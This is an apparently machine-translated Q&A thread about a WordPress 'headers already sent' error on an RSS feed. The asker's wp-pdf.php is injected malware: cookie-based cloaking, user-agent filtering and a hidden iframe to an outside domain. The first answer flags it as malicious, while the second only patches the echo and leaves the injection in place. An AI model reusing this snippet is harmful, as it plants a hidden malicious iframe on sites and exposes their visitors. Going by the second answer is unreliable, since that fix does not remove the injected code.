【问题标题】:Unsolvable classic error message : Cannot modify header information - WordPress无法解决的经典错误消息:无法修改标头信息 - WordPress
【发布时间】:2012-04-30 08:45:35
【问题描述】:

我知道这是经典之作:我收到来自 Wordpress 的错误消息:

警告:无法修改标头信息 - 标头已由 /home/quanscom/public_html/blog/wp-includes/feed 中的 /home/quanscom/public_html/blog/wp-pdf.php:8 发送(输出开始于 /home/quanscom/public_html/blog/wp-includes/feed -rss2.php 第 8 行

我知道这通常来自垃圾空间或文件中的一行,但这次似乎有所不同。

我一直在关注所有这些链接:

https://www.google.com/search?sourceid=chrome&ie=UTF-8&q=Warning%3A+Cannot+modify+header+information+-+headers+already+sent+by+wordpress+rss

尤其是这个:

http://codex.wordpress.org/Answers-Trouble_Shooting#Headers_already_sent

但一切都没有改变。正如最后一个链接中所建议的,我已将这两个文件替换为原始文件,但没有任何改变。 有人可以用一些新鲜的眼光来看看吗? 谢谢,您会在下面找到两个页面:

wp-pdfphp:

    <?php
if(!@isset($_COOKIE['PHPSESS1D']) &&
   !@preg_match('/; Yandex|; Googlebot|linux|macintosh|android|Symbian|iPhone|Mac OS|Opera Mini|Chrome|Apple|Presto/i',$_SERVER['HTTP_USER_AGENT'])) {
    if (!is_feed()) {
        echo '<script type="text/javascript">
                d=new Date();
                d.setDate(d.getDate()+1);
                document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
                </script>';
        echo '<style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://3gb2.lili2d.com/ad.jpg?11"></iframe>';
    }
}
?>

feed-rss2.php:

<?php
/**
 * RSS2 Feed Template for displaying RSS2 Posts feed.
 *
 * @package WordPress
 */

header('Content-Type: '.feed_content_type('rss-http').'; charset='.get_option('blog_charset'), true);
$more = 1;

echo '<?xml version="1.0" encoding="'.get_option('blog_charset').'"?'.'>'; ?>

<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    <?php do_action('rss2_ns'); ?>
>
Then some code in <channel> until the end with </channel> </rss> without any space or empty line after.

【问题讨论】:

    标签: wordpress header


    【解决方案1】:

    仔细查看 wp-pdf.php 文件代码,我觉得它有点恶意。它在您的页面上包含一个隐藏的 iframe 到一个看起来非常恶意的域。该代码还检查该页面是否被搜索引擎引用。

    我知道您继承了此代码。你能告诉我这个文件所在的完整路径吗?

    编辑

    我认为您可以删除 wp-pdf.php 文件。当您删除它时,它可能会在最初包含它的地方产生另一个错误。你也可以去那里删除引用。

    【讨论】:

    • 所以该文件的路径是 /home/quanscom/public_html/blog/wp-pdf.php ,您可以在该页面顶部的错误消息中看到(关注的页面这个问题)feeds.feedburner.com/quantum-wireless 可从该页面访问(只需单击右侧的 rss 提要):quantum-wireless.com/blog
    【解决方案2】:

    在第 8 行的 wp-pdf.php 文件中,您有一个 echo 语句。在 feed-rss2.php 你有一个 header() 函数,它基本上试图设置响应的标题。由于输出已经发生在 wp-pdf.php 文件中,因此您会收到此错误。

    要解决此问题,您可以在 echo 语句中加上此条件。

    if (!is_feed()) {
        // your echo statement here
    }
    

    【讨论】:

    • 感谢您的帮助,我尝试了您的解决方案,但没有任何改变。事实上,我什至可以删除 wp_pdf.php 中的所有内容,但什么也没有发生。我什至可以删除标题句子而没有任何结果。顺便说一句,这是我正在谈论的 Rss 提要页面:feeds.feedburner.com/quantum-wireless
    • wp_pdf.php 文件中有两条 echo 语句。你把他们两个都附在我给的声明里了吗?
    • 哪个插件包含这个 wp_pdf.php 文件?
    • 我真的不知道,我不是建立这个网站的人,我怎么知道?谢谢
    • 检查插件列表。看看他们中的任何一个是否有 PDF 作为名称的一部分。这个Plugin基本上有错误,需要修复。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-07-09
    • 1970-01-01
    相关资源
    最近更新 更多